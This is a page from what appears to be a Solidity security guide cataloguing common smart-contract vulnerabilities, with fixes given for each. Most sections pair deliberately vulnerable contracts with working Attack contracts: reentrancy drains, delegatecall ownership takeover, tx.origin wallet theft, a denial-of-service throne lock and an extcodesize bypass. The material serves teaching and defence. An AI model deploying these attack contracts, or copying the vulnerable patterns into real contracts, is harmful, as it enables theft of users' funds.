Common Vulnerabilities

Re-Entrancy

One of the major dangers of calling external contracts is that they can take over the control flow, and make unexpected changes to your data.

Reentrancy on a Single Functions

Re-entrancy involves functions that could be called repeatedly, before the first invocation of the function is finished. This may cause the different invocations of the function to interact in destructive ways.

// Example of potential re-entrancy 
mapping (address => uint) private userBalances;

function withdrawBalance() public {
    uint amountToWithdraw = userBalances[msg.sender];
		// At this point, the caller's code is executed, and can call withdrawBalance again
    (bool success, ) = msg.sender.call.value(amountToWithdraw)(""); 
    require(success);
    userBalances[msg.sender] = 0;
}

Since the user's balance is not set to 0 until the very end of the function, the second (and later) invocations will still succeed and will withdraw the balance over and over again.

Cross-Function Re-entrancy

An attacker may also be able to do a similar attack using two different functions that share the same state.

mapping (address => uint) private userBalances;

function transfer(address to, uint amount) {
    if (userBalances[msg.sender] >= amount) {
       userBalances[to] += amount;
       userBalances[msg.sender] -= amount;
    }
}

function withdrawBalance() public {
    uint amountToWithdraw = userBalances[msg.sender];
    (bool success, ) = msg.sender.call.value(amountToWithdraw)(""); // At this point, the caller's code is executed, and can call transfer()
    require(success);
    userBalances[msg.sender] = 0;
}

The attacker can call transfer() while their code is still being executed on the external call in withdrawBalance. Since their balance has not yet been set to 0, they are able to transfer the tokens even though they already received the withdrawal.

Solution: Checks-Effects-Interactions pattern

Check if execution is valid
Make the neccesary state changes required
Interact with external contracts or functions that call external functions

Oracle Manipulation

Spot Price Manipulation

Trusting the spot price of a decentralized exchange is risky. If the spot price of an asset is inflated to a value way larger than the true value, an attacker could take out a flash loan to drain one side of the Uniswap pool. An arbitrage trade on top of the newly created price difference or an advantageous position in the system can also be gained.

The issue arises because:

The use of a single price feed source smart contract allows for easy on-chain manipulation using flash loans.
Despite a notable anomaly, the smart contracts consuming the price information continue to operate on the manipulated data.

Possible attack vector:

An attacker can take out a flash loan on the incoming asset A and on the relevant Uniswap pool, swapping a large volume of asset A for asset B.
This trade will increase the price of asset B (increased demand) and reduce the cost of asset A (increased supply) in the pool.
When asset B is deposited into the above function, its price is still pumped up by the flash loan.
Consequentially, asset B gives the attacker an over-proportional amount of shares.
These shares can be withdrawn, giving the attacker equal parts of asset A and asset B from the pool.
Repeating this process will drain the vulnerable pool of all funds.
With the money gained from the withdrawal of their shares, the attacker can repay the flash loan.

Off-Chain Infrastructure

Attacks on access control, cryptographic implementation, transport, and database security, among others, can be performed.
E.g. Synthetix sKRW incident - Synthetix (at the time) relied on a custom off-chain price feed implementation where an aggregate price calculated from a secret set of price feeds was posted on-chain at a fixed interval. These prices then allowed users to take long or short positions against supported assets.
One of the price feeds that Synthetix relied on mis-reported the price of the Korean Won to be 1000x higher than the true rate. A trading bot quickly traded in and out of the sKRW market and was able to earn a profit of over 1B USD.

Decentralized Oracle Security

Decentralized oracles aim to diversify the group of data collectors to a point where disrupting a quorum of participants becomes unfeasible for an attacker. In a decentralized scenario, further security considerations stem from how participants are incentivized and what sort of misbehavior if left unpunished. Participants providing (valid) data to the oracle system are economically rewarded. Aiming to maximize their profit, the participants are incentivized to provide the cheapest version of their service possible.

Freeloading - A node can leverage another oracle or off-chain component (such as an API) and simply copy the values without validation. Freeloading attacks can be easily prevented for more complex data feeds by implementing a commit-reveal scheme. This security measure will prevent oracle system participants from peeking into each other's data.
Mirroring - misbehaving nodes aim to save work by reading from a centralized data source, which results in increased weight on a single data point that reduces data quality. A commit-reveal scheme is ineffective to mitigate (purposeful) mirroring attacks as it does not consider private data transfers between Sybil nodes. Due to the lack of transparency in Sybil communications, mirroring attacks can be very hard to detect in practice.

Solutions

Chainlink is the largest decentralized oracle provider, and the Chainlink network can be leveraged to bring decentralized data on-chain.
Tellor is an oracle that provides censorship-resistant data, secured by economic incentives, ensuring data can be provided by anyone, anytime, and checked by everyone.
Witnet leverages state-of-the-art cryptographic and economic incentives to provide smart contracts with off-chain data.
Another standard solution is to use a time-weighted average price feed so that price is averaged out over X periods and multiple sources. Not only does this prevent oracle manipulation, but it also reduces the chance you can be front-run, as an order executed right before cannot have as drastic of an impact on the price

Frontrunning

Since all transactions are visible in the mempool for a short while before being executed, observers of the network can see and react to an action before it is included in a block.

We define the following categories of front-running attacks:

Displacement - an attacker is able to submit a larger gasPrice to copy & override certain transactions in the mempool.
Insertion - an attacker will insert a function call that changes the state of the network, and wants the user’s original function call to run on this modified state
Suppression - spamming transactions to fill up a block’s gas limit to prevent other transactions from going through

/*
Alice creates a guessing game.
You win 10 ether if you can find the correct string that hashes to the target
hash. Let's see how this contract is vulnerable to front running.
*/

/*
1. Alice deploys FindThisHash with 10 Ether.
2. Bob finds the correct string that will hash to the target hash. ("Ethereum")
3. Bob calls solve("Ethereum") with gas price set to 15 gwei.
4. Eve is watching the transaction pool for the answer to be submitted.
5. Eve sees Bob's answer and calls solve("Ethereum") with a higher gas price
   than Bob (100 gwei).
6. Eve's transaction was mined before Bob's transaction.
   Eve won the reward of 10 ether.

What happened?
Transactions take some time before they are mined.
Transactions not yet mined are put in the transaction pool.
Transactions with higher gas price are typically mined first.
An attacker can get the answer from the transaction pool, send a transaction
with a higher gas price so that their transaction will be included in a block
before the original.
*/

contract FindThisHash {
    bytes32 public constant hash =
        0x564ccaf7594d66b1eaaea24fe01f0585bf52ee70852af4eac0cc4b04711cd0e2;

    constructor() payable {}

    function solve(string memory solution) public {
        require(hash == keccak256(abi.encodePacked(solution)), "Incorrect answer");

        (bool sent, ) = msg.sender.call{value: 10 ether}("");
        require(sent, "Failed to send Ether");
    }
}

Preventive Techniques

Remove the benefit of front-running in your application, mainly by removing the importance of transaction ordering or time.
Mitigate the cost of front-running by specifying a maximum or minimum acceptable price range on a trade, thereby limiting price slippage.

Use a commit-reveal scheme - a cryptographic algorithm used to allow someone to commit to a value while keeping it hidden from others with the ability to reveal it later. The values in a commitment scheme are binding, meaning that no one can change them once committed. The scheme has two phases: a commit phase in which a value is chosen and specified, and a reveal phase in which the value is revealed and checked.

import "github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/Strings.sol";

// use a commit-reveal scheme to guard from frontrunning 

contract SecuredFindThisHash {

    // Struct is used to store the commit details
    struct Commit {
        bytes32 solutionHash;
        uint commitTime;
        bool revealed;
    }

    // The hash that is needed to be solved
    bytes32 public hash = 0x564ccaf7594d66b1eaaea24fe01f0585bf52ee70852af4eac0cc4b04711cd0e2;
    
    // Address of the winner
    address public winner;

    // Price to be rewarded
    uint public reward;

    // Status of game
    bool public ended;

    // Mapping to store the commit details with address
    mapping(address => Commit) commits;

    // Modifier to check if the game is active
    modifier gameActive {
        require(!ended, "Already ended");
        _;
    }

    constructor() payable {
        reward = msg.value;
    }

    /* 
       Commit function to store the hash calculated using keccak256(address in lowercase + solution + secret). 
       Users can only commit once and if the game is active.
    */
    function commitSolution(bytes32 _solutionHash) public gameActive {
        Commit storage commit = commits[msg.sender];
        require(commit.commitTime == 0, "Already committed");
        commit.solutionHash = _solutionHash;
        commit.commitTime = block.timestamp;
        commit.revealed = false;
    }

    /* 
        Function to get the commit details. It returns a tuple of (solutionHash, commitTime, revealStatus);  
        Users can get solution only if the game is active and they have committed a solutionHash
    */
    function getMySolution() public view gameActive returns(bytes32, uint, bool) {
        Commit storage commit = commits[msg.sender];
        require(commit.commitTime != 0, "Not committed yet");
        return (commit.solutionHash, commit.commitTime, commit.revealed);        
    }

    /* 
        Function to reveal the commit and get the reward. 
        Users can get reveal solution only if the game is active and they have committed a solutionHash and not revealed yet.
        It generates an keccak256(msg.sender + solution + secret) and checks it with the previously commited hash.  
        Front runners will not be able to pass this check since the msg.sender is different.
        Then the actual solution is checked using keccak256(solution), if the solution matches, the winner is declared, 
        the game is ended and the reward amount is sent to the winner.
    */
    function revealSolution (string memory _solution, string memory _secret) public gameActive {
        Commit storage commit = commits[msg.sender];
        require(commit.commitTime != 0, "Not committed yet");
        require(!commit.revealed, "Already commited and revealed");

        bytes32 solutionHash = keccak256(abi.encodePacked(Strings.toHexString(msg.sender), _solution, _secret));
        require(solutionHash == commit.solutionHash, "Hash doesn't match");

        require(keccak256(abi.encodePacked(_solution)) != hash, "Incorrect answer");

        winner = msg.sender;
        ended = true;

        (bool sent,) = payable(msg.sender).call{value: reward}("");
        if(!sent){
            winner = address(0);
            ended = false;
            revert("Failed to send ether.");
        }
    }
}

Arithmetic Overflow and Underflow

If a balance reaches the maximum uint value (2^256) it will circle back to zero.
If a uint is made to be less than zero, it will cause an underflow and get set to its maximum value.

Griefing

This attack may be possible on a contract which accepts generic data and uses it to make a call another contract (a 'sub-call') via the low level address.call() function, as is often the case with multisignature and transaction relayer contracts.

If the call fails, the contract has two options:

revert the whole transaction
continue execution

// simplified Relayer contract which continues execution regardless of the outcome of the subcall

contract Relayer {
    mapping (bytes => bool) executed;

    function relay(bytes _data) public {
        // replay protection; do not call the same transaction twice
        require(executed[_data] == 0, "Duplicate call");
        executed[_data] = true;
        innerContract.call(bytes4(keccak256("execute(bytes)")), _data);
    }
}

Force Feeding

Forcing a smart contract to hold an Ether balance can influence its internal accounting and security assumptions. There are multiple ways a smart contract can receive Ether. The hierarchy is as follows:

Check whether a payable external receive function is defined.
If not, check whether a payable external fallback function is defined.
Revert.

Self Destruct - When the SELFDESTRUCT opcode is called, funds of the calling address are sent to the address on the stack, and execution is immediately halted. Since this opcode works on the EVM-level, Solidity-level functions that might block the receipt of Ether will not be executed. A malicious contract can use selfdestruct to force sending Ether to any contract.
Pre-calculated Deployments - The target address of newly deployed smart contracts is generated in a deterministic fashion. An attacker can send funds to this address before the deployment has happened.
```
def generate_contract_address(address: Address, nonce: int) -> Address:
    return force_bytes_to_address(keccak(rlp.encode([address, nonce])))
```

The above effects illustrate that relying on exact comparisons to the contract's Ether balance is unreliable. The smart contract's business logic must consider that the actual balance associated with it can be higher than the internal accounting's value.

Preventative Techniques

Don't rely on address(this).balance

contract EtherGame {
    uint public targetAmount = 3 ether;
    uint public balance;
    address public winner;

    function deposit() public payable {
        require(msg.value == 1 ether, "You can only send 1 Ether");

        balance += msg.value;
        require(balance <= targetAmount, "Game is over");

        if (balance == targetAmount) {
            winner = msg.sender;
        }
    }

    function claimReward() public {
        require(msg.sender == winner, "Not winner");

        (bool sent, ) = msg.sender.call{value: balance}("");
        require(sent, "Failed to send Ether");
    }
}

Delegatecall

delegatecall is tricky to use and wrong usage or incorrect understanding can lead to devastating results.

Two things to keep in mind when using delegatecall:

delegatecall preserves context (storage, caller, etc...)
storage layout must be the same for the contract calling delegatecall and the contract getting called

/*
1. Alice deploys Lib and HackMe with the address of Lib
2. Eve deploys Attack with the address of HackMe
3. Eve calls Attack.attack()
4. Attack is now the owner of HackMe

What happened?
Notice that the state variables are not defined in the same manner in Lib
and HackMe. This means that calling Lib.doSomething() will change the first
state variable inside HackMe, which happens to be the address of lib.

Inside attack(), the first call to doSomething() changes the address of lib
store in HackMe. Address of lib is now set to Attack.
The second call to doSomething() calls Attack.doSomething() and here we
change the owner.
*/

contract Lib {
    uint public someNumber;

    function doSomething(uint _num) public {
        someNumber = _num;
    }
}

contract HackMe {
    address public lib;
    address public owner;
    uint public someNumber;

    constructor(address _lib) {
        lib = _lib;
        owner = msg.sender;
    }

    function doSomething(uint _num) public {
        lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)", _num));
    }
}

contract Attack {
    // Make sure the storage layout is the same as HackMe
    // This will allow us to correctly update the state variables
    address public lib;
    address public owner;
    uint public someNumber;

    HackMe public hackMe;

    constructor(HackMe _hackMe) {
        hackMe = HackMe(_hackMe);
    }

    function attack() public {
        // override address of lib
        hackMe.doSomething(uint(uint160(address(this))));
        // pass any number as input, the function doSomething() below will
        // be called
        hackMe.doSomething(1);
    }

    // function signature must match HackMe.doSomething()
    function doSomething(uint _num) public {
        owner = msg.sender;
    }
}

Preventative Techniques

Only use stateless Library when executing delegatecalls

Denial of Service

There are many ways to attack a smart contract to make it unusable.
Looping through arrays may result in the transactions exceeding block gas limits, and eventually revert all previous state changes. Solution - use pull over push pattern.
Another exploit could be making the function to send Ether fail.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

/*
The goal of KingOfEther is to become the king by sending more Ether than
the previous king. Previous king will be refunded with the amount of Ether
he sent.
*/

/*
1. Deploy KingOfEther
2. Alice becomes the king by sending 1 Ether to claimThrone().
2. Bob becomes the king by sending 2 Ether to claimThrone().
   Alice receives a refund of 1 Ether.
3. Deploy Attack with address of KingOfEther.
4. Call attack with 3 Ether.
5. Current king is the Attack contract and no one can become the new king.

What happened?
Attack became the king. All new challenge to claim the throne will be rejected
since Attack contract does not have a fallback function, denying to accept the
Ether sent from KingOfEther before the new king is set.
*/

contract KingOfEther {
    address public king;
    uint public balance;

    function claimThrone() external payable {
        require(msg.value > balance, "Need to pay more to become the king");

        (bool sent, ) = king.call{value: balance}("");
        require(sent, "Failed to send Ether");

        balance = msg.value;
        king = msg.sender;
    }
}

contract Attack {
    KingOfEther kingOfEther;

    constructor(KingOfEther _kingOfEther) {
        kingOfEther = KingOfEther(_kingOfEther);
    }

    // You can also perform a DOS by consuming all gas using assert.
    // This attack will work even if the calling contract does not check
    // whether the call was successful or not.
    //
    // function () external payable {
    //     assert(false);
    // }

    function attack() public payable {
        kingOfEther.claimThrone{value: msg.value}();
    }
}

Preventative Techniques

One way to prevent this is to allow the users to withdraw their Ether instead of sending it.


contract KingOfEther {
    address public king;
    uint public balance;
    mapping(address => uint) public balances;

    function claimThrone() external payable {
        require(msg.value > balance, "Need to pay more to become the king");

        balances[king] += balance;

        balance = msg.value;
        king = msg.sender;
    }

    function withdraw() public {
        require(msg.sender != king, "Current king cannot withdraw");

        uint amount = balances[msg.sender];
        balances[msg.sender] = 0;

        (bool sent, ) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");
    }
}

Phishing with tx.origin

What's the difference between msg.sender and tx.origin?

If contract A calls B, and B calls C, in C msg.sender is B and tx.origin is A.

Vulnerability - A malicious contract can deceive the owner of a contract into calling a function that only the owner should be able to call.


/*
Wallet is a simple contract where only the owner should be able to transfer
Ether to another address. Wallet.transfer() uses tx.origin to check that the
caller is the owner. Let's see how we can hack this contract
*/

/*
1. Alice deploys Wallet with 10 Ether
2. Eve deploys Attack with the address of Alice's Wallet contract.
3. Eve tricks Alice to call Attack.attack()
4. Eve successfully stole Ether from Alice's wallet

What happened?
Alice was tricked into calling Attack.attack(). Inside Attack.attack(), it
requested a transfer of all funds in Alice's wallet to Eve's address.
Since tx.origin in Wallet.transfer() is equal to Alice's address,
it authorized the transfer. The wallet transferred all Ether to Eve.
*/

contract Wallet {
    address public owner;

    constructor() payable {
        owner = msg.sender;
    }

    function transfer(address payable _to, uint _amount) public {
        require(tx.origin == owner, "Not owner");

        (bool sent, ) = _to.call{value: _amount}("");
        require(sent, "Failed to send Ether");
    }
}

contract Attack {
    address payable public owner;
    Wallet wallet;

    constructor(Wallet _wallet) {
        wallet = Wallet(_wallet);
        owner = payable(msg.sender);
    }

    function attack() public {
        wallet.transfer(owner, address(wallet).balance);
    }
}

Preventative Techniques

Use msg.sender instead of tx.origin

function transfer(address payable _to, uint256 _amount) public {
  require(msg.sender == owner, "Not owner");

  (bool sent, ) = _to.call{ value: _amount }("");
  require(sent, "Failed to send Ether");
}

Hiding Malicious Code with External Contract

In Solidity any address can be casted into specific contract, even if the contract at the address is not the one being casted. This can be exploited to hide malicious code.

/*
Let's say Alice can see the code of Foo and Bar but not Mal.
It is obvious to Alice that Foo.callBar() executes the code inside Bar.log().
However Eve deploys Foo with the address of Mal, so that calling Foo.callBar()
will actually execute the code at Mal.
*/

/*
1. Eve deploys Mal
2. Eve deploys Foo with the address of Mal
3. Alice calls Foo.callBar() after reading the code and judging that it is
   safe to call.
4. Although Alice expected Bar.log() to be execute, Mal.log() was executed.
*/

contract Foo {
    Bar bar;

    constructor(address _bar) {
        bar = Bar(_bar);
    }

    function callBar() public {
        bar.log();
    }
}

contract Bar {
    event Log(string message);

    function log() public {
        emit Log("Bar was called");
    }
}

// This code is hidden in a separate file
contract Mal {
    event Log(string message);

    // function () external {
    //     emit Log("Mal was called");
    // }

    // Actually we can execute the same exploit even if this function does
    // not exist by using the fallback
    function log() public {
        emit Log("Mal was called");
    }
}

Preventative Techniques

Initialize a new contract inside the constructor
Make the address of external contract public so that the code of the external contract can be reviewed

contract Foo {
		Bar public bar;

		constructor() public {
		    bar = new Bar();
		}
}

Honeypot

A honeypot is a trap to catch hackers.

Vulnerability

Combining two exploits, reentrancy and hiding malicious code, we can build a contract that will catch malicious users.

/*
Bank is a contract that calls Logger to log events.
Bank.withdraw() is vulnerable to the reentrancy attack.
So a hacker tries to drain Ether from Bank.
But actually the reentracy exploit is a bait for hackers.
By deploying Bank with HoneyPot in place of the Logger, this contract becomes
a trap for hackers. Let's see how.

1. Alice deploys HoneyPot
2. Alice deploys Bank with the address of HoneyPot
3. Alice deposits 1 Ether into Bank.
4. Eve discovers the reentrancy exploit in Bank.withdraw and decides to hack it.
5. Eve deploys Attack with the address of Bank
6. Eve calls Attack.attack() with 1 Ether but the transaction fails.

What happened?
Eve calls Attack.attack() and it starts withdrawing Ether from Bank.
When the last Bank.withdraw() is about to complete, it calls logger.log().
Logger.log() calls HoneyPot.log() and reverts. Transaction fails.
*/

contract Bank {
    mapping(address => uint) public balances;
    Logger logger;

    constructor(Logger _logger) {
        logger = Logger(_logger);
    }

    function deposit() public payable {
        balances[msg.sender] += msg.value;
        logger.log(msg.sender, msg.value, "Deposit");
    }

    function withdraw(uint _amount) public {
        require(_amount <= balances[msg.sender], "Insufficient funds");

        (bool sent, ) = msg.sender.call{value: _amount}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] -= _amount;

        logger.log(msg.sender, _amount, "Withdraw");
    }
}

contract Logger {
    event Log(address caller, uint amount, string action);

    function log(
        address _caller,
        uint _amount,
        string memory _action
    ) public {
        emit Log(_caller, _amount, _action);
    }
}

// Hacker tries to drain the Ethers stored in Bank by reentrancy.
contract Attack {
    Bank bank;

    constructor(Bank _bank) {
        bank = Bank(_bank);
    }

    fallback() external payable {
        if (address(bank).balance >= 1 ether) {
            bank.withdraw(1 ether);
        }
    }

    function attack() public payable {
        bank.deposit{value: 1 ether}();
        bank.withdraw(1 ether);
    }

    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

// Let's say this code is in a separate file so that others cannot read it.
contract HoneyPot {
    function log(
        address _caller,
        uint _amount,
        string memory _action
    ) public {
        if (equal(_action, "Withdraw")) {
            revert("It's a trap");
        }
    }

    // Function to compare strings using keccak256
    function equal(string memory _a, string memory _b) public pure returns (bool) {
        return keccak256(abi.encode(_a)) == keccak256(abi.encode(_b));
    }
}

Block Timestamp Manipulation

block.timestamp can be manipulated by miners with the following constraints:

it cannot be stamped with an earlier time than its parent
it cannot be too far in the future

/*
Roulette is a game where you can win all of the Ether in the contract
if you can submit a transaction at a specific timing.
A player needs to send 10 Ether and wins if the block.timestamp % 15 == 0.
*/

/*
1. Deploy Roulette with 10 Ether
2. Eve runs a powerful miner that can manipulate the block timestamp.
3. Eve sets the block.timestamp to a number in the future that is divisible by
   15 and finds the target block hash.
4. Eve's block is successfully included into the chain, Eve wins the
   Roulette game.
*/

contract Roulette {
    uint public pastBlockTime;

    constructor() payable {}

    function spin() external payable {
        require(msg.value == 10 ether); // must send 10 ether to play
        require(block.timestamp != pastBlockTime); // only 1 transaction per block

        pastBlockTime = block.timestamp;

        if (block.timestamp % 15 == 0) {
            (bool sent, ) = msg.sender.call{value: address(this).balance}("");
            require(sent, "Failed to send Ether");
        }
    }
}

Preventative Techniques

Don't use block.timestamp for a source of entropy and random number

Signature Replay

Signing messages off-chain and having a contract that requires that signature before executing a function is a useful technique.

For example this technique is used to:

reduce number of transaction on chain
gas-less transaction, called meta transaction

Vulnerability

Same signature can be used multiple times to execute a function. This can be harmful if the signer's intention was to approve a transaction once.

import "github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/cryptography/ECDSA.sol";

contract MultiSigWallet {
    using ECDSA for bytes32;

    address[2] public owners;

    constructor(address[2] memory _owners) payable {
        owners = _owners;
    }

    function deposit() external payable {}

    function transfer(
        address _to,
        uint _amount,
        bytes[2] memory _sigs
    ) external {
        bytes32 txHash = getTxHash(_to, _amount);
        require(_checkSigs(_sigs, txHash), "invalid sig");

        (bool sent, ) = _to.call{value: _amount}("");
        require(sent, "Failed to send Ether");
    }

    function getTxHash(address _to, uint _amount) public view returns (bytes32) {
        return keccak256(abi.encodePacked(_to, _amount));
    }

    function _checkSigs(bytes[2] memory _sigs, bytes32 _txHash)
        private
        view
        returns (bool)
    {
        bytes32 ethSignedHash = _txHash.toEthSignedMessageHash();

        for (uint i = 0; i < _sigs.length; i++) {
            address signer = ethSignedHash.recover(_sigs[i]);
            bool valid = signer == owners[i];

            if (!valid) {
                return false;
            }
        }

        return true;
    }
}

Preventative Techniques

Sign messages with nonce and address of the contract.

contract MultiSigWallet {
    using ECDSA for bytes32;

    address[2] public owners;
    mapping(bytes32 => bool) public executed;

    constructor(address[2] memory _owners) payable {
        owners = _owners;
    }

    function deposit() external payable {}

    function transfer(
        address _to,
        uint _amount,
        uint _nonce,
        bytes[2] memory _sigs
    ) external {
        bytes32 txHash = getTxHash(_to, _amount, _nonce);
        require(!executed[txHash], "tx executed");
        require(_checkSigs(_sigs, txHash), "invalid sig");

        executed[txHash] = true;

        (bool sent, ) = _to.call{value: _amount}("");
        require(sent, "Failed to send Ether");
    }

    function getTxHash(
        address _to,
        uint _amount,
        uint _nonce
    ) public view returns (bytes32) {
        return keccak256(abi.encodePacked(address(this), _to, _amount, _nonce));
    }

    function _checkSigs(bytes[2] memory _sigs, bytes32 _txHash)
        private
        view
        returns (bool)
    {
        bytes32 ethSignedHash = _txHash.toEthSignedMessageHash();

        for (uint i = 0; i < _sigs.length; i++) {
            address signer = ethSignedHash.recover(_sigs[i]);
            bool valid = signer == owners[i];

            if (!valid) {
                return false;
            }
        }

        return true;
    }
}

Bypass Contract Size Check

If an address is a contract then the size of code stored at the address should be greater than 0.

A contract can be created with code size returned by extcodesize equal to 0.

contract Target {
    function isContract(address account) public view returns (bool) {
        // This method relies on extcodesize, which returns 0 for contracts in
        // construction, since the code is only stored at the end of the
        // constructor execution.
        uint size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    bool public pwned = false;

    function protected() external {
        require(!isContract(msg.sender), "no contract allowed");
        pwned = true;
    }
}

contract FailedAttack {
    // Attempting to call Target.protected will fail,
    // Target block calls from contract
    function pwn(address _target) external {
        // This will fail
        Target(_target).protected();
    }
}

contract Hack {
    bool public isContract;
    address public addr;

    // When contract is being created, code size (extcodesize) is 0.
    // This will bypass the isContract() check
    constructor(address _target) {
        isContract = Target(_target).isContract(address(this));
        addr = address(this);
        // This will work
        Target(_target).protected();
    }

PreviousSecurity NextBest Practices

Last updated 1 year ago